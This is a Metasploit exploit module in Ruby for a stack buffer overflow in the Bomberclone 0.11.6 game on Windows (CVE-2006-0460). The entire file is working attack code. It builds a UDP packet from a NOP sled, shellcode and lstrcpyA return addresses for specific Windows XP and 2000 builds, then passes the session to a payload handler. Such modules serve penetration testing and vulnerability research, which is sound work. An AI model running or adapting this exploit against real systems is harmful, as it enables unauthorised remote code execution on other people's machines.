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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Bomberclone 0.11.6 Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
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        The return address is overwritten with lstrcpyA memory address,
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        the second and third value are the destination buffer,
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        the fourth value is the source address of our buffer in the stack.
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        This exploit is like a return in libc.
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        ATTENTION
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        The shellcode is exec ONLY when someone try to close bomberclone.
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      },
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      'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
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      'References'     =>
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        [
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          ['CVE', '2006-0460'],
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          ['OSVDB', '23263'],
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          ['BID', '16697']
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        ],
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      'Payload'        =>
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        {
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          'Space'    => 344,
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          'BadChars' => "\x00"
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows XP SP2 Italian',   { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA
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          ['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA
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          ['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2006-02-16'
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      ))
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    register_options([ Opt::RPORT(11000) ])
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  end
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  def exploit
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    connect_udp
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    pattern  = make_nops(421)
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    pattern << payload.encoded
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    pattern << [ target.ret ].pack('V')
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    pattern << "\x04\xec\xfd\x7f" * 2
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    pattern << "\xa4\xfa\x22\x00"
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    request  = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"
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    print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")
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    udp_sock.put(request)
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    udp_sock.get(5)
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    handler(udp_sock)
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    disconnect_udp
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  end
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end
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